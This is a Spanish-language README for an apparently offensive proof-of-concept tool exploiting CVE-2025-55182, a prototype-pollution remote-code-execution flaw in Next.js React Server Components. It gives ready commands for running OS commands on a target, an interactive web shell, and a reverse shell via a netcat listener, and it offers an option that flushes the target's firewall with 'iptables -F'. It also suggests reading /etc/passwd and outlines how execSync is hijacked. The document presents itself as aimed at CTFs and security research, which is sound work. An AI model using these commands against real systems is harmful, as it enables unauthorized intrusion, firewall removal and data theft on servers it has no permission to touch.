
WEB-CLI_RCE_React2Shell es una herramienta PoC educativa para CVE-2025-55182, una falla crítica de Prototype Pollution en aplicaciones Next.js que utilizan React Server Components. Diseñada para CTFs e investigación, incluye un modo de comando único, una CLI web interactiva y capacidades de shell inversa para demostrar RCE.
Esta herramienta es un exploit simple de Prueba de Concepto (PoC) para CVE-2025-55182. Es una falla grave (Prototype Pollution) encontrada en aplicaciones Next.js que utilizan React Server Components.
Si un servidor objetivo es vulnerable, este script te permite ejecutar comandos del sistema operativo en él (Ejecución Remota de Código, o RCE).
Esta herramienta está diseñada para el aprendizaje, CTFs e investigación de seguridad responsable.
ÚSALO ÉTICAMENTE. Solo ejecuta este exploit contra sistemas que te pertenezcan o sobre los que tengas permiso explícito y documentado para probar. El uso no autorizado es ilegal. Esta herramienta es solo con fines educativos.
Esta herramienta tiene tres formas principales de ejecutar comandos: un comando único simple, una consola web interactiva completa y un intento de reverse shell clásico.
Obtén el código:
git clone https://github.com/raivenLockdown/WEB-CLI_RCE_React2Shell.git
cd REACT2SHELL
Instala la librería:
pip install requests
Esta es la forma más fácil de interactuar con el objetivo. Inicia una página web local en tu máquina que actúa como una terminal.
Ejecuta el script:
python3 exploit.py <TARGET_URL> --web-cli
Ejemplo: python3 exploit.py http://target.com/ --web-cli
Abre tu navegador: El script te indicará que abras http://127.0.0.1:8000/. Luego puedes escribir comandos (como ls, whoami, cat /etc/passwd) directamente en la página web.
Ejecuta un comando y obtén la salida inmediatamente en tu terminal local. Es útil para comprobaciones rápidas, como averiguar tu ID de usuario.
python3 exploit.py <TARGET_URL> --cmd '<COMMAND>'
Ejemplo: python3 exploit.py http://target.com/ --cmd 'id'
Usa este modo si quieres una conexión estable y persistente. Nota: A menudo falla en entornos reales debido a los firewalls (filtrado de tráfico saliente).
Inicia tu listener (p. ej., netcat):
nc -lvnp 55555
Ejecuta el exploit:
python3 exploit.py <TARGET_URL> -i <YOUR_IP> -p 55555 [--flush]
-i <YOUR_IP>: La IP de tu máquina.-p 55555: El puerto que está usando tu listener.--flush (Opcional): Intenta ejecutar iptables -F en el objetivo primero para limpiar los firewalls del host.El exploit utiliza una falla de Prototype Pollution para lograr RCE.
Object.prototype).child_process de Node.js). Reemplazamos el valor de esa propiedad con nuestro comando de shell.execSync) y lance inmediatamente un error inofensivo. La salida del comando se introduce inteligentemente en el campo digest del mensaje de error. Luego, el script de Python lee este campo para obtener los resultados.Esta investigación se basa en el trabajo inicial y la divulgación de la comunidad de seguridad. Gracias a todos los investigadores y colaboradores de código abierto.